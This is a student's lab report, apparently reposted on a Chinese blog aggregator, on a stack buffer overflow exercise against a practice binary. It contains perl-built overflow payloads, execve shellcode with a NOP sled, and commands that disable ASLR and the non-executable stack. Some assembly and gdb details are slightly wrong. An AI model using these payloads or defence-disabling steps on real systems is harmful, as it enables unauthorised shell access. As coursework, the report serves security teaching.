20232326 2025-2026-1 《网络与系统攻防技术》实验一实验报告

news/2025/10/12 22:31:11/文章来源:https://www.cnblogs.com/zhusimin/p/19136075

20232326 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1. 实验内容

1.1 缓冲区溢出漏洞核心

  • 定义:程序向预设缓冲区写入数据时超出容量,溢出数据覆盖相邻内存(如函数返回地址、栈底指针ebp),最终篡改程序执行流程的内存安全漏洞。
  • 根源
    1. 冯·诺依曼体系“数据与指令同存内存且未严格分离”的先天缺陷;
    2. C/C++中strcpymemcpy等函数无内存越界检查,且部分程序员安全编程意识薄弱。

1.2 理解漏洞的基础支撑知识

  • 汇编核心
    • 掌握IA32架构关键寄存器:esp(栈顶指针)、ebp(栈底指针)、eip(指令指针,指向下一条指令地址)、eax(累加器,存储函数返回值);
    • 核心指令:push/pop(栈操作)、call/ret(函数调用/返回)、jmp(跳转),区分Intel(Windows,如push eax)和AT&T(类Unix,如pushl %eax)两种指令格式。
  • 内存布局
    • Linux(32位):用户态占0~0xC0000000(含代码段.text、数据段.data/.bss、堆(向上生长)、栈(向下生长)),内核态占0xC0000000~0xFFFFFFFF
    • Windows(32位):用户态占0~0x80000000(可执行程序从0x00400000开始),栈地址多含空字节,系统DLL(如kernel32.dll)映射在高地址区。
  • 函数栈帧机制
    • 调用阶段:参数从右到左压栈,再压入返回地址(eip值);
    • 函数序幕:push ebp(保存调用者栈底)→ mov esp, ebp(设置当前栈底)→ sub esp, N(分配局部变量空间);
    • 栈帧结构(高地址→低地址):调用者数据 → 函数参数 → 返回地址 → 保存的ebp → 局部变量。

1.3 缓冲区溢出类型与攻击要点

  • 主要类型
    • 栈溢出(最常见):栈中缓冲区(如字符数组)无边界保护,溢出数据覆盖ebp和返回地址,篡改eip指向恶意代码;
    • 堆溢出:覆盖堆块“块首”(8字节,存链表指针或状态),破坏堆表结构,free时实现任意地址写;
    • 内核溢出:溢出发生在内存内核态区域,直接影响系统内核,危害极高。
  • 攻击关键:需解决三个核心问题——
    1. 定位“溢出点”:确定哪部分溢出数据能精准覆盖返回地址;
    2. 确定“Shellcode地址”:让被篡改的返回地址指向恶意代码;
    3. 编写可执行Shellcode:确保代码无空字节(避免被字符串函数截断)。

2. 实验过程

2.1 修改机器指令改变执行流程

操作目标:不依赖漏洞,直接篡改main函数的机器码,使程序启动后直接执行getShell

步骤2:计算“call getShell”的偏移与机器码

目标:将偏移改为“getShell地址 - 下一条指令地址”:

新偏移 = 0804847d - 080484ba = -69

十进制-69转换为32位十六进制补码:0xffffffc3,因此“call getShell”的机器码为e8 c3 ff ff ff

步骤3:生成修改副本并编辑机器码

为避免破坏原始文件,复制生成含学号的副本pwn20232326zsm,并修改其机器码:

# 复制原始文件为副本
cp pwn1 pwn20232326zsm
# 使用vi+xxd编辑副本(十六进制模式)
vi pwn20232326zsm
# 1. 切换为十六进制显示
:%!xxd
# 2. 搜索原机器码“e8d7”(call foo的操作码+偏移前两位)
/e8d7
# 3. 修改偏移:将“d7”改为“c3”(原机器码e8d7ffff → 新机器码e8c3ffff)
# 4. 转回二进制格式
:%!xxd -r
# 5. 保存退出
:wq

e8bbe76ac74b9c60984e0e742ac6684d

这里遇到了文件权限不够的问题,修改pwn20232326zsm文件的的权限为777 最高权限

ea01b1d936ae955ff7e5c2b0a37f0bb4

步骤4:验证修改结果

# 反汇编副本,确认call指令是否指向getShell
objdump -d pwn20232326zsm | grep -A 1 "call"
# 运行副本,验证是否直接获取Shell
./pwn20232326zsm

预期结果

  • 运行后直接出现#提示符(root Shell),输入ls可查看目录文件。

9f2c732cf2415952a333ff73028eac5e

b2db5bdef7718a58dadc65e37f952503

2.2 BOF攻击构造输入改变执行流

操作目标:利用foo函数的gets缓冲区溢出漏洞,通过构造输入覆盖返回地址,让程序执行getShell

步骤1:分析foo函数的缓冲区与堆栈布局

# 反汇编pwn20232326zsm-2,查看foo函数的栈帧分配
objdump -d pwn20232326zsm-2 | grep -A 10 "foo"

image

关键输出与堆栈分析

08048491 <foo>:8048491:	55                   	push   %ebp          # 保存ebp到栈8048492:	89 e5                	mov    %esp,%ebp     # ebp = esp(栈帧基址)8048494:	83 ec 38             	sub    $0x38,%esp    # 栈帧分配0x38(56字节)空间8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax  # 缓冲区起始地址:ebp-0x1c(28字节)804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>  # 调用gets读取输入(无边界检查)
  • 缓冲区大小:ebp-0x1cebp共28字节(输入超过此长度会溢出);
  • 覆盖返回地址需填充:缓冲区28字节 + ebp4字节 = 32字节填充,第33-36字节为返回地址(需改为getShell地址)。

步骤2:用GDB调试确认返回地址覆盖位置

# 启动GDB调试原始文件
gdb pwn20232326zsm-2
# 运行程序
(gdb) r
# 输入测试字符串:32个填充字符(分4组便于定位)+ 4个标记字符(1234)
1111111122222222333333334444444412345678
# 程序因溢出崩溃后,查看eip寄存器(指令指针,即返回地址)
(gdb) info r eip

预期结果eip值为0x34333231(对应字符“4321”的ASCII码),证明第33-36字节(标记字符“1234”)成功覆盖返回地址。

image

步骤3:构造BOF攻击Payload

# 生成攻击输入文件input_bof_20232326:
# 32字节填充(A) + getShell地址(\x7d\x84\x04\x08) + 回车(\x0a,模拟手动回车)
perl -e 'print "A"x32 . "\x7d\x84\x04\x08\x0a"' > input_bof_20232326
# 验证Payload格式(查看末尾是否包含getShell地址)
xxd input_bof_20232326

预期结果xxd输出末尾显示7d84 0408 0a,与getShell地址的小端序及回车符一致。
image
image

步骤4:触发BOF攻击

# 通过管道将Payload输入原始文件,保持Shell交互(避免攻击后Shell退出)
(cat input_bof_20232326; cat) | ./pwn20232326zsm-2

预期结果:程序触发缓冲区溢出,返回地址被覆盖为getShell地址,执行后出现#提示符,输入ls可查看目录。
image

2.3 注入Shellcode并执行

操作目标:向程序注入自定义Shellcode,通过BOF攻击触发其执行,实现“不依赖程序自带getShell”的漏洞利用。

步骤1:关闭防御机制

  • 关闭系统防御:默认情况下,Linux堆栈不可执行且开启地址随机化(ASLR),需关闭以确保Shellcode可执行:
    # 1. 设置堆栈可执行(execstack -s 目标文件)
    execstack -s pwn20232326zsm-2
    # 验证设置:输出“X pwn20232326zsm-2”表示堆栈可执行
    execstack -q pwn20232326zsm-2
    # 2. 关闭ASLR(地址随机化,避免Shellcode地址变化)
    echo "0" > /proc/sys/kernel/randomize_va_space
    # 验证设置:输出“0”表示ASLR关闭
    more /proc/sys/kernel/randomize_va_space
    
    image

步骤2:调试获取Shellcode的滑行区地址

由于Shellcode需通过返回地址指向,需先确定其在堆栈中的位置(通过“滑行区”提高兼容性):

  1. 生成临时Payload(含占位返回地址,用于定位):

    perl -e 'print "A"x32 . "\x01\x02\x03\x04" . "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > temp_input_20232326
    
    • \x01\x02\x03\x04:占位返回地址,便于GDB定位;
    • \x90:NOP空指令(滑行区),即使地址略有偏差,也能“滑”到Shellcode。
      image
  2. GDB调试定位

    • 终端1:启动攻击进程(阻塞等待调试):

      (cat temp_input_20232326; cat) | ./pwn20232326zsm-2
      

      image

    • 终端2:查找进程号并附加GDB:

      # 查找pwn20232326zsm-2的进程号
      ps -ef | grep pwn20232326zsm-2
      # 附加调试
      gdb
      (gdb) attach 3256
      # 反汇编foo函数,在ret指令处设断点(ret执行前,堆栈已加载Payload)
      (gdb) disassemble foo
      (gdb) break *0x080484ae  # ret指令地址
      (gdb) c  # 继续运行程序
      

      image

    • 这里遇到了不允许attach的错误,查询后使用下面的命令解决了

      ./pwn20232326zsm-2 & gdb -p 3256 $(pgrep pwn20232326zsm-2)
      

      image

    • 终端1:按回车触发断点,回到终端2查看堆栈:

      # 查看当前栈指针esp
      (gdb) info r esp
      # 查看esp附近16字节内存,找到占位地址0x01020304
      (gdb) x/16x $esp
      

    预期结果:占位地址0x01020304后方为NOP区域(0x90909090),记录NOP区域的起始地址(0xffffd2dc)作为滑行区地址。
    image
    image

步骤3:构造Shellcode注入Payload

# 生成Shellcode输入文件input_shellcode_20232326:
# 32字节填充(A) + 滑行区地址(\x20\xd3\xff\xff) + NOP滑行区(10个) + Shellcode
perl -e 'print "A"x32 . "\x20\xd3\xff\xff" . "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"' > input_shellcode_20232326

步骤4:触发Shellcode执行

(cat input_shellcode_20232326; cat) | ./pwn20232326zsm-2

预期结果:程序执行到返回地址时,跳转到NOP滑行区,最终执行Shellcode,弹出#提示符,输入ls可查看目录。
image

3. 问题及解决方案

  1. 问题1:在修改 pwn20232326zsm 文件机器码时,遇到文件权限不够的情况,无法正常编辑该文件。
    解决方案:修改 pwn20232326zsm 文件的权限为最高权限777,使用命令 chmod 777 pwn20232326zsm,以便能够对文件进行编辑操作。

  2. 问题2:在使用 gdb 调试附加进程时,出现不允许 attach 的错误,无法正常附加到目标进程 pwn20232326zsm-2 进行调试。
    解决方案:采用命令 ./pwn20232326zsm-2 & gdb -p 3256 $(pgrep pwn20232326zsm-2) 来解决,通过先让目标进程在后台运行,然后使用 gdb 结合进程号来正确附加并进行调试。

  3. 问题3:默认情况下,Linux系统开启了诸如堆栈不可执行以及地址随机化(ASLR)等防御机制,这会影响Shellcode的执行,导致无法按预期利用漏洞。
    解决方案

    • 关闭堆栈不可执行:使用命令 execstack -s pwn20232326zsm-2 设置堆栈可执行,并通过 execstack -q pwn20232326zsm-2 验证设置,若输出“X pwn20232326zsm-2”则表示堆栈可执行。
    • 关闭地址随机化(ASLR):执行命令 echo "0" > /proc/sys/kernel/randomize_va_space 关闭 ASLR,再用 more /proc/sys/kernel/randomize_va_space 验证设置,输出“0”表示 ASLR 已成功关闭,以此确保Shellcode可执行以及其地址的稳定性,便于后续的漏洞利用操作。

4. 学习感悟与思考

在实验开始阶段,由于对反汇编分析和堆栈结构理解不足,操作过程较为生疏,需要通过反复调试和查阅资料询问AI来验证每个步骤。随着实验的深入,我逐步掌握了函数栈帧布局特征、返回地址定位方法、Shellcode构造技术等关键知识点,并能够独立完成从漏洞分析到利用的全过程。特别是在动态调试环节,通过GDB工具观察内存状态、设置断点跟踪执行流程,使我对程序运行时的内存管理机制有了更直观的认识。这种从理论到实践的转化过程,加深了我对计算机系统底层工作原理的理解。这次实验也让我意识到,网络攻防实验需要提前预习做好准备,希望通过后面的学习能逐步掌握网络攻防的核心技能。

参考资料

  1. Gitee 逆向与Bof基础实验指南
  2. 缓冲区溢出全解

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/935753.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[数据分析/BI] Microsoft Power BI 使用指南

1 概述:Power BI 什么是 Power BI?Power BI 是由微软发布的一款商业智能(BI)软件,或者说数据分析工具。Microsoft Power BI 是一个完整的报表解决方案,通过开发工具和联机平台提供数据准备、数据可视化、分发和管…

机器人技术在现实世界中的挑战与创新

本文探讨了在现实环境中构建与人类互动的机器人系统所面临的技术挑战,包括开放世界的不确定性、持续学习、多机器人协作以及人机共存等问题,涉及机器学习模型优化、系统架构设计和安全交互等核心技术。机器人技术在现…

Motorola和Inter的区别

位的顺序 MSB: Most Significant Bit 最高有效位,一个二进制数的最左边的那一位,他拥有最高的权重,他的值是1还是0对整个数的影响最大。2的N-1次方。 LSB: Least Significant Bit 最低有效位,一个二进制数的最右边…

设计模式-行为型设计模式(针对对象之间的交互) - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

ROS2之TF

TFTF(Transform Frame) 是 ROS2 中用于维护多个坐标系之间空间关系的坐标变换系统。它可以实时跟踪机器人各个部分(如底盘、传感器、地图等)在三维空间中的位置与姿态,通过建立一棵动态的 坐标变换树(TF Tree),…

代码源2025长训

10/9 Day 16 A:非常可惜写的35pts暴力全部没分,也是神人了。首先需要一个小分讨,如果原树有双重心那么就会有如下情况:该边后的双重心不变和有可能改变;如果不变的情况就是说,对于双重心 \((u,v)\) ,我们加减边…

代码源国庆模拟赛

ABC 423 做题顺序a->b->c->d->c->d->c->e->d,吃了C*3+D*6共9发罚时,全部WA*1 C把一个减号左右两边写反导致出现负数爆炸了 D:能用prique别用set,常数大还会把元素去重,元素去重是很关键的…

CSP-S模拟30 2025.10.12

A. 灯若辰星 题面link 赛时 一眼看出\(F\)属于第一类斯特林数,但\(G\)死活找不出规律QAQ。 然后又没对\(F mod 2\)进行分讨,0pts遗憾离场。。。 正解 让我们分开求解 F 手搓几个样例可发现其中的递推关系 rt: 考虑以…

记录fiddler抓包mumu模拟器

fiddler设置设置完成后导出证书放入mumu模拟器的共享文件夹mumu模拟器设置 证书安装然后选中共享文件夹里的证书进行安装即可 代理设置代理主机名为电脑ip地址,代理端口为上述fiddler配置的端口号 配置完毕后即可抓包…

深入解析:2025年真实手机牧场CC攻击破防游戏盾?四维防御体系全面升级!

深入解析:2025年真实手机牧场CC攻击破防游戏盾?四维防御体系全面升级!pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family:…

神经网络读书报告

神经网络是模拟生物神经系统结构与功能的人工智能模型,其核心思想源于对人类大脑神经元连接机制的仿生设计。自 20 世纪 40 年代 “感知器” 概念提出以来,神经网络经历了 “兴起 — 低谷 — 复兴” 的多轮迭代,如今…

MinIO 介绍(2)--MinIO 客户端 mc 基本功能

本文主要介绍 MinIO 客户端 mc 的基本功能;文中所使用到的软件版本:mc RELEASE.2025-07-21T05-28-08Z、Centos 8.5.2111。 1、mc 介绍 1.1、mc 安装 这里主要介绍 mc 在 Linux 环境下的部署;可通过如下地址下载 mc …

关于UE5基础关卡创建的注意点

关于UE5基础关卡创建的注意点ue5 中解决一个一个map的加载问题(增加了开放世界支持),进行将整个单个map划分为多份map,来设定成为角色在哪个部分就加载哪个部分map制作一张新地图 选择open world组成了天气 第一个…

2025年10月恒温恒湿系统厂家最新推荐榜单,精加工车间/厂房/美术馆/仓库/计算机房/档案室/工业/工厂车间恒温恒湿空调系统公司推荐

2025年10月恒温恒湿系统厂家最新推荐榜单,精加工车间/厂房/美术馆/仓库/计算机房/档案室/工业/工厂车间恒温恒湿空调系统公司推荐随着科技的不断进步和各行各业对环境控制要求的提高,恒温恒湿系统在多个领域中的应用…

征集歌单

如题,不要外文歌,不要不好唱的,最好有些激情的。

ABC427 游记

快速出 $4t$ 跳去看 F 一直在实现错误的方法结束比赛。省流 快速出 \(4t\) 跳去看 F 一直在实现错误的方法结束比赛。10.11 内含剧透,请vp后再来。 不是题解!!!!!!! 赛前 忘了干了什么了,总之什么也没干,处在…

乐理 -02调式

调式(自然)大调音阶每个字母需要出现一次黑键的调 等音调

Python 基于python实现的图片压缩助手

程序及源码下载地址: https://gitee.com/ishouke/image-optimizer 图片压缩助手使用说明 适用环境 win11 imageOptimizer.zip 备注:win7可能存在兼容性问题,其它版本未验证 Centos7 imageOptimizer.tar 用途 批量压…